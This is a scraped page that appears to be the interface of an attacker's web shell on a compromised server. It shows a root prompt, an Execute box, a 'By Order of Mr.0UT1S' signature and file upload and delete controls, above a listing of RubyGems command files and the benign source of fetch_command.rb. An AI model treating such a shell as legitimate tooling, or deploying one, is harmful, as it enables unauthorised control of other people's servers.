opt
/
alt
/
ruby26
/
lib64
/
ruby
/
2.6.0
/
rubygems
/
commands
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
build_command.rb
2.03 KB
Rename
Delete
cert_command.rb
9.02 KB
Rename
Delete
check_command.rb
2.23 KB
Rename
Delete
cleanup_command.rb
4.48 KB
Rename
Delete
contents_command.rb
4.07 KB
Rename
Delete
dependency_command.rb
5.14 KB
Rename
Delete
environment_command.rb
5.16 KB
Rename
Delete
fetch_command.rb
1.77 KB
Rename
Delete
generate_index_command.rb
2.55 KB
Rename
Delete
help_command.rb
10.14 KB
Rename
Delete
info_command.rb
713 bytes
Rename
Delete
install_command.rb
8.40 KB
Rename
Delete
list_command.rb
939 bytes
Rename
Delete
lock_command.rb
2.69 KB
Rename
Delete
mirror_command.rb
624 bytes
Rename
Delete
open_command.rb
1.96 KB
Rename
Delete
outdated_command.rb
852 bytes
Rename
Delete
owner_command.rb
2.82 KB
Rename
Delete
pristine_command.rb
5.39 KB
Rename
Delete
push_command.rb
3.53 KB
Rename
Delete
query_command.rb
9.28 KB
Rename
Delete
rdoc_command.rb
2.47 KB
Rename
Delete
search_command.rb
884 bytes
Rename
Delete
server_command.rb
2.38 KB
Rename
Delete
setup_command.rb
17.81 KB
Rename
Delete
signin_command.rb
890 bytes
Rename
Delete
signout_command.rb
896 bytes
Rename
Delete
sources_command.rb
5.18 KB
Rename
Delete
specification_command.rb
3.27 KB
Rename
Delete
stale_command.rb
962 bytes
Rename
Delete
uninstall_command.rb
5.41 KB
Rename
Delete
unpack_command.rb
5.07 KB
Rename
Delete
update_command.rb
6.99 KB
Rename
Delete
which_command.rb
2.15 KB
Rename
Delete
yank_command.rb
2.29 KB
Rename
Delete
# frozen_string_literal: true require 'rubygems/command' require 'rubygems/local_remote_options' require 'rubygems/version_option' class Gem::Commands::FetchCommand < Gem::Command include Gem::LocalRemoteOptions include Gem::VersionOption def initialize super 'fetch', 'Download a gem and place it in the current directory' add_bulk_threshold_option add_proxy_option add_source_option add_clear_sources_option add_version_option add_platform_option add_prerelease_option end def arguments # :nodoc: 'GEMNAME name of gem to download' end def defaults_str # :nodoc: "--version '#{Gem::Requirement.default}'" end def description # :nodoc: <<-EOF The fetch command fetches gem files that can be stored for later use or unpacked to examine their contents. See the build command help for an example of unpacking a gem, modifying it, then repackaging it. EOF end def usage # :nodoc: "#{program_name} GEMNAME [GEMNAME ...]" end def execute version = options[:version] || Gem::Requirement.default platform = Gem.platforms.last gem_names = get_all_gem_names gem_names.each do |gem_name| dep = Gem::Dependency.new gem_name, version dep.prerelease = options[:prerelease] specs_and_sources, errors = Gem::SpecFetcher.fetcher.spec_for_dependency dep if platform filtered = specs_and_sources.select { |s,| s.platform == platform } specs_and_sources = filtered unless filtered.empty? end spec, source = specs_and_sources.max_by { |s,| s.version } if spec.nil? show_lookup_failure gem_name, version, errors, options[:domain] next end source.download spec say "Downloaded #{spec.full_name}" end end end
Save